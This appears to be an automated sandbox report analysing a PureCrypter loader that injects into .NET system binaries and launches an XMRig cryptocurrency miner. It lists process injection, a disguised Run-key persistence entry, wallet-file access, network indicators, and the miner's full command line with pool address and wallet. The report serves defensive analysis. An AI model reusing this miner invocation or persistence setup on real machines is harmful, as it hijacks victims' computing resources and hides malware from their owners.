Malware Analysis Report

2024-11-13 16:42

Sample ID 230228-khdmsaad98
Target bypass_ps1_extracted_pe_file
SHA256 8bbf3420ad5b1e7283ecc131dd720728a0ebaba799d9084509c8a47b8efe1cb0
Tags
purecrypter xmrig downloader loader miner persistence spyware
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V6

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

8bbf3420ad5b1e7283ecc131dd720728a0ebaba799d9084509c8a47b8efe1cb0

Threat Level: Known bad

The file bypass_ps1_extracted_pe_file was found to be: Known bad.

Malicious Activity Summary

purecrypter xmrig downloader loader miner persistence spyware

Detect PureCrypter injector

xmrig

PureCrypter

XMRig Miner payload

Checks computer location settings

Adds Run key to start application

Accesses cryptocurrency files/wallets, possible credential harvesting

Suspicious use of SetThreadContext

Enumerates physical storage devices

Suspicious behavior: EnumeratesProcesses

Suspicious behavior: LoadsDriver

Suspicious use of FindShellTrayWindow

Suspicious use of AdjustPrivilegeToken

Suspicious use of WriteProcessMemory

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2023-02-28 08:35

Signatures

N/A

Analysis: behavioral2

Detonation Overview

Submitted

2023-02-28 08:35

Reported

2023-02-28 08:46

Platform

win10v2004-20230220-en

Max time kernel

600s

Max time network

600s

Command Line

"C:\Users\Admin\AppData\Local\Temp\bypass_ps1_extracted_pe_file.exe"

Signatures

Detect PureCrypter injector

loader
Description Indicator Process Target
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PureCrypter

loader downloader purecrypter

xmrig

miner xmrig

XMRig Miner payload

miner
Description Indicator Process Target
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Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-1013461898-3711306144-4198452673-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\bypass_ps1_extracted_pe_file.exe N/A

Accesses cryptocurrency files/wallets, possible credential harvesting

spyware

Adds Run key to start application

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\USER\S-1-5-21-1013461898-3711306144-4198452673-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\exoduswalllett = "\"C:\\Users\\Admin\\AppData\\Roaming\\Exodus\\exoduswalllett.exe\"" C:\Users\Admin\AppData\Local\Temp\bypass_ps1_extracted_pe_file.exe N/A

Enumerates physical storage devices

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe N/A
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N/A N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe N/A

Suspicious behavior: LoadsDriver

Description Indicator Process Target
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Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\bypass_ps1_extracted_pe_file.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe N/A
Token: SeLockMemoryPrivilege N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe N/A
Token: SeLockMemoryPrivilege N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe N/A

Suspicious use of FindShellTrayWindow

Description Indicator Process Target
N/A N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 1156 wrote to memory of 2832 N/A C:\Users\Admin\AppData\Local\Temp\bypass_ps1_extracted_pe_file.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1156 wrote to memory of 2832 N/A C:\Users\Admin\AppData\Local\Temp\bypass_ps1_extracted_pe_file.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1156 wrote to memory of 3300 N/A C:\Users\Admin\AppData\Local\Temp\bypass_ps1_extracted_pe_file.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe
PID 1156 wrote to memory of 3300 N/A C:\Users\Admin\AppData\Local\Temp\bypass_ps1_extracted_pe_file.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe
PID 1156 wrote to memory of 3300 N/A C:\Users\Admin\AppData\Local\Temp\bypass_ps1_extracted_pe_file.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe
PID 1156 wrote to memory of 3300 N/A C:\Users\Admin\AppData\Local\Temp\bypass_ps1_extracted_pe_file.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe
PID 1156 wrote to memory of 3300 N/A C:\Users\Admin\AppData\Local\Temp\bypass_ps1_extracted_pe_file.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe
PID 1156 wrote to memory of 3300 N/A C:\Users\Admin\AppData\Local\Temp\bypass_ps1_extracted_pe_file.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe
PID 3300 wrote to memory of 3684 N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe
PID 3300 wrote to memory of 3684 N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe
PID 3300 wrote to memory of 3684 N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe
PID 3300 wrote to memory of 3684 N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe
PID 3300 wrote to memory of 3684 N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe
PID 3300 wrote to memory of 3684 N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe
PID 3300 wrote to memory of 3684 N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe
PID 3300 wrote to memory of 3684 N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe
PID 3300 wrote to memory of 3684 N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe
PID 3300 wrote to memory of 3684 N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe
PID 3300 wrote to memory of 3684 N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe
PID 3300 wrote to memory of 3684 N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe
PID 3300 wrote to memory of 3684 N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe
PID 3300 wrote to memory of 3684 N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe

Processes

C:\Users\Admin\AppData\Local\Temp\bypass_ps1_extracted_pe_file.exe

"C:\Users\Admin\AppData\Local\Temp\bypass_ps1_extracted_pe_file.exe"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ENC cwB0AGEAcgB0AC0AcwBsAGUAZQBwACAALQBzAGUAYwBvAG4AZABzACAAMgAwAA==

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe -o 174.138.19.0:8080 -u 46E9UkTFqALXNh2mSbA7WGDoa2i6h4WVgUgPVdT9ZdtweLRvAhWmbvuY1dhEmfjHbsavKXo3eGf5ZRb4qJzFXLVHGYH4moQ.x -p x --algo rx/0 --cpu-max-threads-hint=50

Network

Country Destination Domain Proto
US 163.123.142.210:80 tcp
US 209.197.3.8:80 tcp
US 8.8.8.8:53 196.249.167.52.in-addr.arpa udp
US 8.8.8.8:53 199.176.139.52.in-addr.arpa udp
US 209.197.3.8:80 tcp
US 8.8.8.8:53 2.159.190.20.in-addr.arpa udp
US 8.8.8.8:53 216.74.101.95.in-addr.arpa udp
US 163.123.142.210:80 163.123.142.210 tcp
US 8.8.8.8:53 210.142.123.163.in-addr.arpa udp
US 8.8.8.8:53 133.32.126.40.in-addr.arpa udp
US 8.8.8.8:53 208.194.73.20.in-addr.arpa udp
US 8.8.8.8:53 44.8.109.52.in-addr.arpa udp
US 93.184.220.29:80 tcp
US 209.197.3.8:80 tcp
US 209.197.3.8:80 tcp
NL 173.223.113.164:443 tcp
NL 173.223.113.131:80 tcp
US 204.79.197.203:80 tcp
IT 179.43.155.202:9090 tcp
US 8.8.8.8:53 202.155.43.179.in-addr.arpa udp
DE 79.137.203.156:80 79.137.203.156 tcp
US 8.8.8.8:53 156.203.137.79.in-addr.arpa udp
DE 79.137.203.156:80 79.137.203.156 tcp
SG 174.138.19.0:8080 tcp
US 8.8.8.8:53 0.19.138.174.in-addr.arpa udp
IT 179.43.155.202:9090 tcp
IT 179.43.155.202:9090 tcp

Files

memory/1156-133-0x00000275AA680000-0x00000275AA6AE000-memory.dmp

memory/1156-134-0x00000275C5970000-0x00000275C5980000-memory.dmp

memory/1156-135-0x00000275C5970000-0x00000275C5980000-memory.dmp

memory/1156-136-0x00000275C5A80000-0x00000275C5D5C000-memory.dmp

memory/1156-137-0x00000275C5A80000-0x00000275C5D5C000-memory.dmp

memory/1156-139-0x00000275C5A80000-0x00000275C5D5C000-memory.dmp

memory/1156-141-0x00000275C5A80000-0x00000275C5D5C000-memory.dmp

memory/1156-143-0x00000275C5A80000-0x00000275C5D5C000-memory.dmp

memory/1156-145-0x00000275C5A80000-0x00000275C5D5C000-memory.dmp

memory/1156-147-0x00000275C5A80000-0x00000275C5D5C000-memory.dmp

memory/1156-149-0x00000275C5A80000-0x00000275C5D5C000-memory.dmp

memory/1156-151-0x00000275C5A80000-0x00000275C5D5C000-memory.dmp

memory/1156-153-0x00000275C5A80000-0x00000275C5D5C000-memory.dmp

memory/1156-155-0x00000275C5A80000-0x00000275C5D5C000-memory.dmp

memory/1156-157-0x00000275C5A80000-0x00000275C5D5C000-memory.dmp

memory/1156-159-0x00000275C5A80000-0x00000275C5D5C000-memory.dmp

memory/1156-161-0x00000275C5A80000-0x00000275C5D5C000-memory.dmp

memory/1156-163-0x00000275C5A80000-0x00000275C5D5C000-memory.dmp

memory/1156-165-0x00000275C5A80000-0x00000275C5D5C000-memory.dmp

memory/1156-167-0x00000275C5A80000-0x00000275C5D5C000-memory.dmp

memory/1156-169-0x00000275C5A80000-0x00000275C5D5C000-memory.dmp

memory/1156-171-0x00000275C5A80000-0x00000275C5D5C000-memory.dmp

memory/1156-173-0x00000275C5A80000-0x00000275C5D5C000-memory.dmp

memory/1156-175-0x00000275C5A80000-0x00000275C5D5C000-memory.dmp

memory/1156-177-0x00000275C5A80000-0x00000275C5D5C000-memory.dmp

memory/1156-179-0x00000275C5A80000-0x00000275C5D5C000-memory.dmp

memory/1156-181-0x00000275C5A80000-0x00000275C5D5C000-memory.dmp

memory/1156-183-0x00000275C5A80000-0x00000275C5D5C000-memory.dmp

memory/1156-185-0x00000275C5A80000-0x00000275C5D5C000-memory.dmp

memory/1156-187-0x00000275C5A80000-0x00000275C5D5C000-memory.dmp

memory/1156-189-0x00000275C5A80000-0x00000275C5D5C000-memory.dmp

memory/1156-191-0x00000275C5A80000-0x00000275C5D5C000-memory.dmp

memory/1156-193-0x00000275C5A80000-0x00000275C5D5C000-memory.dmp

memory/1156-195-0x00000275C5A80000-0x00000275C5D5C000-memory.dmp

memory/1156-197-0x00000275C5A80000-0x00000275C5D5C000-memory.dmp

memory/1156-199-0x00000275C5A80000-0x00000275C5D5C000-memory.dmp

memory/1156-10300-0x00000275AC290000-0x00000275AC2B2000-memory.dmp

memory/1156-10301-0x00000275C5970000-0x00000275C5980000-memory.dmp

memory/1156-10302-0x00000275C5970000-0x00000275C5980000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ms2arlch.5yk.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/2832-10312-0x000002C256090000-0x000002C2560A0000-memory.dmp

memory/2832-10313-0x000002C256090000-0x000002C2560A0000-memory.dmp

memory/2832-10314-0x000002C256090000-0x000002C2560A0000-memory.dmp

memory/1156-10315-0x00000275C5970000-0x00000275C5980000-memory.dmp

memory/1156-10316-0x00000275C5970000-0x00000275C5980000-memory.dmp

memory/2832-10317-0x000002C256090000-0x000002C2560A0000-memory.dmp

memory/2832-10318-0x000002C256090000-0x000002C2560A0000-memory.dmp

memory/3300-10324-0x0000000000400000-0x000000000048C000-memory.dmp

memory/3300-10414-0x000002ACF7850000-0x000002ACF7860000-memory.dmp

memory/3300-11070-0x000002ACF7850000-0x000002ACF7860000-memory.dmp

memory/3300-11071-0x000002ACF7850000-0x000002ACF7860000-memory.dmp

memory/3300-11072-0x000002ACF7850000-0x000002ACF7860000-memory.dmp

memory/3684-11082-0x0000000140000000-0x00000001407CD000-memory.dmp

memory/3684-11083-0x000001D421720000-0x000001D421760000-memory.dmp

memory/3300-11084-0x000002ACF7850000-0x000002ACF7860000-memory.dmp

memory/3300-11085-0x000002ACF7850000-0x000002ACF7860000-memory.dmp

memory/3684-11086-0x0000000140000000-0x00000001407CD000-memory.dmp

memory/3684-11089-0x000001D421760000-0x000001D421780000-memory.dmp

memory/3684-11090-0x000001D421760000-0x000001D421780000-memory.dmp

Analysis: behavioral1

Detonation Overview

Submitted

2023-02-28 08:35

Reported

2023-02-28 08:46

Platform

win7-20230220-en

Max time kernel

403s

Max time network

407s

Command Line

"C:\Users\Admin\AppData\Local\Temp\bypass_ps1_extracted_pe_file.exe"

Signatures

Detect PureCrypter injector

loader
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PureCrypter

loader downloader purecrypter

Accesses cryptocurrency files/wallets, possible credential harvesting

spyware

Adds Run key to start application

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\USER\S-1-5-21-1563773381-2037468142-1146002597-1000\Software\Microsoft\Windows\CurrentVersion\Run\exoduswalllett = "\"C:\\Users\\Admin\\AppData\\Roaming\\Exodus\\exoduswalllett.exe\"" C:\Users\Admin\AppData\Local\Temp\bypass_ps1_extracted_pe_file.exe N/A

Enumerates physical storage devices

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\bypass_ps1_extracted_pe_file.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 1192 wrote to memory of 712 N/A C:\Users\Admin\AppData\Local\Temp\bypass_ps1_extracted_pe_file.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1192 wrote to memory of 712 N/A C:\Users\Admin\AppData\Local\Temp\bypass_ps1_extracted_pe_file.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1192 wrote to memory of 712 N/A C:\Users\Admin\AppData\Local\Temp\bypass_ps1_extracted_pe_file.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1192 wrote to memory of 696 N/A C:\Users\Admin\AppData\Local\Temp\bypass_ps1_extracted_pe_file.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe
PID 1192 wrote to memory of 696 N/A C:\Users\Admin\AppData\Local\Temp\bypass_ps1_extracted_pe_file.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe
PID 1192 wrote to memory of 696 N/A C:\Users\Admin\AppData\Local\Temp\bypass_ps1_extracted_pe_file.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe
PID 1192 wrote to memory of 1556 N/A C:\Users\Admin\AppData\Local\Temp\bypass_ps1_extracted_pe_file.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe
PID 1192 wrote to memory of 1556 N/A C:\Users\Admin\AppData\Local\Temp\bypass_ps1_extracted_pe_file.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe
PID 1192 wrote to memory of 1556 N/A C:\Users\Admin\AppData\Local\Temp\bypass_ps1_extracted_pe_file.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe
PID 1192 wrote to memory of 1704 N/A C:\Users\Admin\AppData\Local\Temp\bypass_ps1_extracted_pe_file.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe
PID 1192 wrote to memory of 1704 N/A C:\Users\Admin\AppData\Local\Temp\bypass_ps1_extracted_pe_file.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe
PID 1192 wrote to memory of 1704 N/A C:\Users\Admin\AppData\Local\Temp\bypass_ps1_extracted_pe_file.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe
PID 1192 wrote to memory of 1872 N/A C:\Users\Admin\AppData\Local\Temp\bypass_ps1_extracted_pe_file.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe
PID 1192 wrote to memory of 1872 N/A C:\Users\Admin\AppData\Local\Temp\bypass_ps1_extracted_pe_file.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe
PID 1192 wrote to memory of 1872 N/A C:\Users\Admin\AppData\Local\Temp\bypass_ps1_extracted_pe_file.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe
PID 1192 wrote to memory of 900 N/A C:\Users\Admin\AppData\Local\Temp\bypass_ps1_extracted_pe_file.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe
PID 1192 wrote to memory of 900 N/A C:\Users\Admin\AppData\Local\Temp\bypass_ps1_extracted_pe_file.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe
PID 1192 wrote to memory of 900 N/A C:\Users\Admin\AppData\Local\Temp\bypass_ps1_extracted_pe_file.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe
PID 1192 wrote to memory of 568 N/A C:\Users\Admin\AppData\Local\Temp\bypass_ps1_extracted_pe_file.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe
PID 1192 wrote to memory of 568 N/A C:\Users\Admin\AppData\Local\Temp\bypass_ps1_extracted_pe_file.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe
PID 1192 wrote to memory of 568 N/A C:\Users\Admin\AppData\Local\Temp\bypass_ps1_extracted_pe_file.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe
PID 1192 wrote to memory of 1980 N/A C:\Users\Admin\AppData\Local\Temp\bypass_ps1_extracted_pe_file.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe
PID 1192 wrote to memory of 1980 N/A C:\Users\Admin\AppData\Local\Temp\bypass_ps1_extracted_pe_file.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe
PID 1192 wrote to memory of 1980 N/A C:\Users\Admin\AppData\Local\Temp\bypass_ps1_extracted_pe_file.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe
PID 1192 wrote to memory of 1540 N/A C:\Users\Admin\AppData\Local\Temp\bypass_ps1_extracted_pe_file.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe
PID 1192 wrote to memory of 1540 N/A C:\Users\Admin\AppData\Local\Temp\bypass_ps1_extracted_pe_file.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe
PID 1192 wrote to memory of 1540 N/A C:\Users\Admin\AppData\Local\Temp\bypass_ps1_extracted_pe_file.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe
PID 1192 wrote to memory of 1764 N/A C:\Users\Admin\AppData\Local\Temp\bypass_ps1_extracted_pe_file.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe
PID 1192 wrote to memory of 1764 N/A C:\Users\Admin\AppData\Local\Temp\bypass_ps1_extracted_pe_file.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe
PID 1192 wrote to memory of 1764 N/A C:\Users\Admin\AppData\Local\Temp\bypass_ps1_extracted_pe_file.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe
PID 1192 wrote to memory of 1984 N/A C:\Users\Admin\AppData\Local\Temp\bypass_ps1_extracted_pe_file.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe
PID 1192 wrote to memory of 1984 N/A C:\Users\Admin\AppData\Local\Temp\bypass_ps1_extracted_pe_file.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe
PID 1192 wrote to memory of 1984 N/A C:\Users\Admin\AppData\Local\Temp\bypass_ps1_extracted_pe_file.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe

Processes

C:\Users\Admin\AppData\Local\Temp\bypass_ps1_extracted_pe_file.exe

"C:\Users\Admin\AppData\Local\Temp\bypass_ps1_extracted_pe_file.exe"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ENC cwB0AGEAcgB0AC0AcwBsAGUAZQBwACAALQBzAGUAYwBvAG4AZABzACAAMgAwAA==

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe

Network

Country Destination Domain Proto
